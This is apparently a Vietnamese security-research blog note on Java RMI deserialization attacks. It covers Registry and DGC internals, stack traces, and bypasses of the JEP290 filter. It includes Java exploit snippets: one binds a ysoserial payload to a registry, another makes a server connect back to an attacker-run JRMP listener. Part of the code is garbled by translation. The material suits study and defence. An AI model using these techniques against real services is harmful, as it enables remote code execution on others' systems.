🇻🇳
th13
  • info
  • JAVA
    • Notes: RMI linh tinh
    • [CVE-2013-2165] Phân tích RichFaces vulnerability thông qua CTF challenge
  • CTF WRITE UP
    • [Web]ImaginaryCTF 2021
    • [Web]CSAW CTF 2021
    • [Web]RaRCTF 2021
    • [Web]LIT CTF 07/2021
    • [Web]redpwn 2021
    • [Web]WeCTF 2021
    • [Web]WannaGame 21/05/2021
    • [Web]San Diego CTF 2021
    • [Web]picoMini by redpwn
    • [Web]WannaGame 17/04/2021
    • [Web]picoCTF 2021
    • [Web]BambooCTF/Calc.exe
  • saved
    • Tài liệu JAV Sờ cu 101
    • [NT230]PE file Injection
    • [WU][web]root-me
    • [WU]Lord of SQLinjection
    • [WU][Web]CyberTalents
    • [exploit][sqli]Challenge ngày Tết
Powered by GitBook
On this page
  • What?
  • How?
  • Các kiểu tấn công RMI
  • Object parameter (Known RMI interface)
  • RMI Registry Exploit
  • RMI DGC Exploit
  • Bypass JEP290
  • An Trinh bypass JEP290

Was this helpful?

Edit on GitHub
  1. JAVA

Notes: RMI linh tinh

PreviousinfoNext[CVE-2013-2165] Phân tích RichFaces vulnerability thông qua CTF challenge

Last updated 3 years ago

Was this helpful?

OVERVIEW

What?

RMI (Remote Method Invocation). Một RMI application thì sẽ có server và client, hiểu nôm na RMI cho phép client gọi/thực thi một method của một object từ xa (object đã được bind vào registry).

Về bản chất, RMI runtime phía client mở 1 socket connection đến 1 port đã được mở lắng nghe bởi RMI runtime phía server.

Một bức ảnh minh họa khác chi tiết hơn về kiến trúc của RMI:

Ngoài Registry ra thì còn có DGC (Distributed Garbage Collection).

  • Registry sẽ nhận bind, rebind các name dẫn đến các method cần dùng hoặc lookup để gọi đến các method đã được bind từ trước.

  • Stub và Skel được xem như là 2 proxy của client-side và server-side.

RMI không hẳn là protocol, chính xác hơn nếu gọi RMI là interface để dev thuận tiện remote object trong một hệ thống phân tán. Thông thường RMI sử dụng giao thức JRMP kết hợp Java Serialization.

Ref:

How?

Client:

getRegistry() tạo một TCP connection đến server

loopkup() sẽ khởi tạo một newCall() đến server và trả về StreamRemoteCall (stream này là object đã được bind từ phía server) sau đó được write lại vào stream và cuối cùng là được readObject().

Nhìn chung, làm việc với byte stream và readObject() sẽ là một sink mà các kiểu tấn công registry sẽ sử dụng được đề cập phía sau.

Server:

Dựa vào stacktrace sau đặt breakpoint để đón được request của client:

dispatch:270, UnicastServerRef (sun.rmi.server)
run:200, Transport$1 (sun.rmi.transport)
run:197, Transport$1 (sun.rmi.transport)
doPrivileged:-1, AccessController (java.security)
serviceCall:196, Transport (sun.rmi.transport)
handleMessages:568, TCPTransport (sun.rmi.transport.tcp)
run0:826, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)
lambda$run$0:683, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)
run:-1, 490538031 (sun.rmi.transport.tcp.TCPTransport$ConnectionHandler$$Lambda$1)
doPrivileged:-1, AccessController (java.security)
run:682, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)
runWorker:1142, ThreadPoolExecutor (java.util.concurrent)
run:617, ThreadPoolExecutor$Worker (java.util.concurrent)
run:745, Thread (java.lang)

Từ Thread -> Transport sẽ đảm nhận việc bóc tách request ví dụ như protocol để get dispatch tương ứng hay call Service tương ứng.

Tại UnicastServerRef.dispatch() sẽ đọc từ stream lên các method và unmarshallParameters() sẽ deserialize những args kèm theo của method.

Các kiểu tấn công RMI

Dựa vào các rmi attack vector thì có thể phân ra làm 3 nhóm chính:

  • Known RMI interface: Dạng này đòi hỏi phải biết trước các services (methods + args) được bound ra ngoài bằng những cách brute force hoặc có source code trước. Và 1 attack vector đặc trưng của dạng này là khi method có arg truyền vào là object (hoặc là String nhưng cần sửa lại vài hexcode trong gói tin trước khi gửi đi).

  • RMI Registry/DGC: Tận dụng việc method bind() sẽ deser mọi object từ client mà không validate hoặc chèn malicious object trong lúc thực hiện dirty/clean thông qua JRMP đến DGC layer. Dạng này đã bị filter từ jdk 8u121 - JEP 290 có whitelist filter được đặt ở Registry layer hoặc DGC layer.

  • JRMI: Khởi tạo một JRMP listener đã được đặt payload của mình, chuyển server thành client rồi connect tới listener trước đó và gửi lại payload cho server deserialize.

Đi vào chi tiết để tìm hiểu và phân tích lại một số attack vector nổi bật.

Ref:

Object parameter (Known RMI interface)

Việc đầu tiên cần làm ở vector này là mình phải xác định được các endpoints (các object được bind, chỉ cần dùng list() để liệt kê) và xác định được các services (bao gồm method name, args, args type) bằng cách brute force hoặc bằng cách nào đấy đọc được source code.

Ví dụ như với souce code bsides client dưới đây:

Với việc dùng tool brute-force thì chỉ detect được register(String dummy). Nhưng service mà mình hướng tới là poke(Object dummy). Vì sao lại hướng tới các service chứa param type là object?

UnicastServerRef.dispatch() thực hiện unmarshallParameters() với var1 là remote, var8 là method đã được confirm map với method phía server, var38 là args đã được marshall phía trên.

Từng arg sẽ được unmarshall như sau:

var1.readObject sẽ deserialize malicious object của mình gửi lên.

Stack trace:

unmarshalValue:326, UnicastRef (sun.rmi.server)
unmarshalParametersUnchecked:592, UnicastServerRef (sun.rmi.server)
unmarshalParameters:580, UnicastServerRef (sun.rmi.server)
dispatch:310, UnicastServerRef (sun.rmi.server)
run:200, Transport$1 (sun.rmi.transport)
run:197, Transport$1 (sun.rmi.transport)
doPrivileged:-1, AccessController (java.security)
serviceCall:196, Transport (sun.rmi.transport)
handleMessages:568, TCPTransport (sun.rmi.transport.tcp)
run0:826, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)
lambda$run$0:683, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)
run:-1, 2064052220 (sun.rmi.transport.tcp.TCPTransport$ConnectionHandler$$Lambda$1)
doPrivileged:-1, AccessController (java.security)
run:682, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)
runWorker:1142, ThreadPoolExecutor (java.util.concurrent)
run:617, ThreadPoolExecutor$Worker (java.util.concurrent)
run:745, Thread (java.lang)

RMI Registry Exploit

Attack vector này không phụ thuộc vào interface, service mà chỉ quan tâm đến jdk version đang dùng có install JEP290 hay chưa. Tóm tắt vector này là client thực hiện bind malicious object (Remote type) đến RMI server và rồi server deserialize object đó mà không validate.

Chain exploit:

Payload của mình sẽ được "ép kiểu" thành Remote rồi bind đến server.

Cụ thể cách để ép kiểu sang Remote là ysoserial đã dùng dynamic proxy, đặt payload vào attribute của một remote interface class. Thế nhưng có 1 cách trông đơn giản hơn nhưng hiệu quả tương đương:

/* below code ... */

//Add a Remote interface class to support serialization 
private  static  class  BindExploit  implements  Remote ,  Serializable  { 
    //Make a place to put the payload 
    private  final  Object  memberValues ; 

    private  BindExploit ( Object  payload )  { 
        memberValues  =  payload ; 
    } 
} 
public  static  void  exploit ( Final  Registry  Registry , 
        Final  Class <?  the extends  ObjectPayload >  payloadClass, 
        Final  String  Command )  throws  Exception  { 
    new new  ExecCheckingSecurityManager (). CallWrapped ( new new  a Callable < Void > () { public  Void  Call ()  throws  Exception  { 
        ObjectPayload  payloadObj  =  payloadClass . The newInstance (); 
        Object  payload  =  payloadObj . The getObject ( Command ); 
        String  name  =  "pwned"  + The System . The nanoTime (); 
        // YSO dynamic proxy wrapper 
        // = the Remote Remote Gadgets.createMemoitizedProxy (Gadgets.createMap (name, payload), Remote.class); 
        // their packaging 
        the Remote  remote_lala  =  new new  BindExploit ( payload ); 

        the try  { 
            //registry.bind(name, remote); 
            //Wrap the 
             registry yourself . bind ( name ,  remote_lala ); 
        }  catch  ( Throwable  e )  { 
            e . printStackTrace (); 
        } 
        Utils . releasePayload( payloadObj ,  payload ); 
        return  null ; 
    }}); 
}

Stack trace:

dispatch:-1, RegistryImpl_Skel (sun.rmi.registry)
oldDispatch:411, UnicastServerRef (sun.rmi.server)
dispatch:272, UnicastServerRef (sun.rmi.server)
run:200, Transport$1 (sun.rmi.transport)
run:197, Transport$1 (sun.rmi.transport)
doPrivileged:-1, AccessController (java.security)
serviceCall:196, Transport (sun.rmi.transport)
handleMessages:568, TCPTransport (sun.rmi.transport.tcp)
run0:826, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)
lambda$run$0:683, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)
run:-1, 612345345 (sun.rmi.transport.tcp.TCPTransport$ConnectionHandler$$Lambda$1)
doPrivileged:-1, AccessController (java.security)
run:682, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)
runWorker:1142, ThreadPoolExecutor (java.util.concurrent)
run:617, ThreadPoolExecutor$Worker (java.util.concurrent)
run:745, Thread (java.lang)

RMI DGC Exploit

DGC layer sẽ luôn xuất hiện mỗi khiình khởi tạo 1 RMI service bởi vì y sẽ đảm nhiệm vai trò gửi "tín hiệu" duy trì việc sử dụng remote service. DGC exploit khác với Registry một số điều cơ bản sau:

  • DGC không có bind/rebind object mà là clean/dirty

  • Registry có method để client tương tác trực tiếp đến server còn DGC thì không.

  • Chain Registry có thể nhúng payload vào bind/rebind để gửi lên server, với DGC thì phía client phải can thiệp ở low-level để nhúng được payload và gửi đi.

Cả branch clean hay dirty đều có thể là sink vì đều deser object của mình

Chain Exploit:

Lượm lặt được 1 bức hình giải thích rất chi tiết từng đoạn split và write value của chain trên:

Cuối cùng, DGC Exploit này tương tự với Registry Exploit đều bị filter từ jdk 8u121.

dispatch:-1, RegistryImpl_Skel (sun.rmi.registry)
oldDispatch:411, UnicastServerRef (sun.rmi.server)
dispatch:272, UnicastServerRef (sun.rmi.server)
run:200, Transport$1 (sun.rmi.transport)
run:197, Transport$1 (sun.rmi.transport)
doPrivileged:-1, AccessController (java.security)
serviceCall:196, Transport (sun.rmi.transport)
handleMessages:568, TCPTransport (sun.rmi.transport.tcp)
run0:826, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)
lambda$run$0:683, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)
run:-1, 1552041230 (sun.rmi.transport.tcp.TCPTransport$ConnectionHandler$$Lambda$1)
doPrivileged:-1, AccessController (java.security)
run:682, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)
runWorker:1142, ThreadPoolExecutor (java.util.concurrent)
run:617, ThreadPoolExecutor$Worker (java.util.concurrent)
run:745, Thread (java.lang)

Bypass JEP290

Những JDK 6u141, JDK 7u131, JDK 8u121 đã có sự xuất hiện của JEP290 và filtering policy.

Whitelist:

  • String.class

  • Number.class

  • Remote.class

  • Proxy.class

  • UnicastRef.class

  • RMIClientSocketFactory.class

  • RMIServerSocketFactory.class

  • ActivationID.class

  • UID.class

Hạn chế vẫn còn tồn tại ở JEP290: Filter đặt ở các Registry hoặc DGC, mà deserialize xuất hiện gần như mọi nơi trong quá trình giao tiếp giữa RMI client và RMI server. Attack vector Object param vẫn chưa được khắc phục. Hơn thế là có thể tận dụng whitelist trên để tạo chain bypass.

Ý tưởng cơ bản của chain này:

  • Tạo JRMP Listener (JRMP server) được nhúng payload trigger command

  • Phía client bind/rebind chứa payload turn server thành JRMP client đến RMI registry

  • JRMP client gửi request đến JRMP Listener

  • JRMP Listener gửi lại server payload trigger command

Như hình trên thì có thể thấy giao tiếp JRMP sẽ không bị filter nên payload của mình thành công được trigger.

Để khởi tạo 1 JRMP listener thì mình có thể dùng chain trên ysoserial:

Câu hỏi đặt ra là làm sao để turn RMI registry thành JRMP client gửi request đến JRMP listener?

Nói đơn giản, sử dụng UnicastRef có trong whitelist để server không bị filter khi deser. UnicastRef wrap LiveRef object connect tới một TCP Endpoint (ip:port của JRMP listener). Sau đó đóng gói kết quả trên vào Remote object để có thể bind đến server. Khi server nhận được sẽ deser mà thực hiện connect đến endpoint mình chỉ định trên.

public  class  Bypass290  {
	public static Object generateUnicastRef(String host, int port) {
		java.rmi.server.ObjID objId = new java.rmi.server.ObjID();
		sun.rmi.transport.tcp.TCPEndpoint endpoint = new sun.rmi.transport.tcp.TCPEndpoint(host, port);
		sun.rmi.transport.LiveRef liveRef = new sun.rmi.transport.LiveRef(objId, endpoint, false);
		return new sun.rmi.server.UnicastRef(liveRef);
	}
	public static void main(String[] args) throws Exception{
    String jrmpListenerHost = "127.0.0.1";
    int jrmpListenerPort = 1199;
    UnicastRef ref = generateUnicastRef(jrmpListenerHost, jrmpListenerPort);

		//RemoteObjectInvocationHandler is Remote interface
    RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);

    Registry registry = LocateRegistry.getRegistry(1099); //Local bind
    registry.bind("hello", obj);
	}
}

Có thể sử dụng dynamic proxy để change type Remote sang Registry (tương đương).

An Trinh bypass JEP290

Với điều kiện môi trường không có restricted network, không outbound mà mình muốn đọc output của command thì đây là lúc chain của anh @tint0 thể hiện mức impact của mình.

Chain này khác với kiểu bypass phía trên là việc đọc return output bằng error, phía trên sẽ bị catch lại tại DGCClient.makeDirtyCall() mà không tiếp tục throw.

Phía ngoài dispatch catch được exception và serialize và gửi lại cho client

...continue...

<custom payload to eval code>

Dựng lại source code và debug để xem một tí về cách client (lookup) vào server (nhận data) hoạt động như nào. (JDK 8u112)

Từ JDK 8u121, có với sự xuất hiện registryFilter() khi readObject() nhầm kiểm tra 1 số ràng buộc và whitelist nên phương thức tấn công trên không còn khả thi.

Giải thích có trong:

Tại bài viết có giải thích rất kỹ về chain này, tóm tắt là sử dụng UnicastRemoteObject (extends Remote nên vẫn trong whitelist). Server sẽ deser object này và gọi reexport() rồi đến exportObject(). Vì dyamic proxy sang RemoteObjectInvocationHandler nên method cũng được chuyển qua invokeRemoteMethod(), tại đây exception được catch rồi throw ra ngoài.

http://www.sce.carleton.ca/netmanage/simulator/rmi/RMIExplanation.htm
https://tradahacking.vn/rmi-study-note-and-some-study-case-72bfd47275d9
https://itqna.net/questions/22426/what-difference-between-rmi-and-jrmp
BSides
https://xz.aliyun.com/t/7930
https://xz.aliyun.com/t/7932
https://mogwailabs.de/en/blog/2020/02/an-trinhs-rmi-registry-bypass/
https://mogwailabs.de/en/blog/2019/03/attacking-java-rmi-services-after-jep-290/
https://www.anquanke.com/post/id/2047
JEP290
https://codewhitesec.blogspot.com/2017/04/amf.html
mogwailabs
ysoserial/RMIRegistryExploit.java at master · frohoff/ysoserialGitHub
ysoserial/JRMPClient.java at master · frohoff/ysoserialGitHub
ysoserial/JRMPListener.java at master · frohoff/ysoserialGitHub
Logo
Logo
Logo